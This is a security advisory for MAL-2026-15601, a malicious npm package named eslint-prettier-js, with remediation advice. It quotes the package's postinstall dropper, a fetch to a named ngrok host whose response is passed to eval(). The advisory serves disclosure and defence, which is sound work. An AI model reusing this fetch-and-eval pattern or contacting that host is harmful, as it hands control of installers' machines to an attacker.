MAL-2026-15601 Malicious code in eslint-prettier-js (npm)
- Package
- eslint-prettier-js
- Registry
- npm
What is MAL-2026-15601?
MAL-2026-15601 is a malicious package in eslint-prettier-js, published on 31 Aug 2026.
Official description
The package's postinstall hook runs index.cjs's onInstall(), which performs await fetch("https://2939e69fc408.ngrok-free.app/stats") and passes the response body to eval(). On npm install this executes arbitrary code fetched from a mutable, anonymous ngrok tunnel unrelated to any legitimate publisher, granting full code execution on the installer's machine to whoever controls that endpoint. The package's declared description ("Test eslint and prettier") does not match its shipped behavior — no lint/format code is present; the only runtime effect is the remote-eval dropper.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
What should I do about MAL-2026-15601?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
Sources
Also known as GHSA-fp43-fcrg-6w93.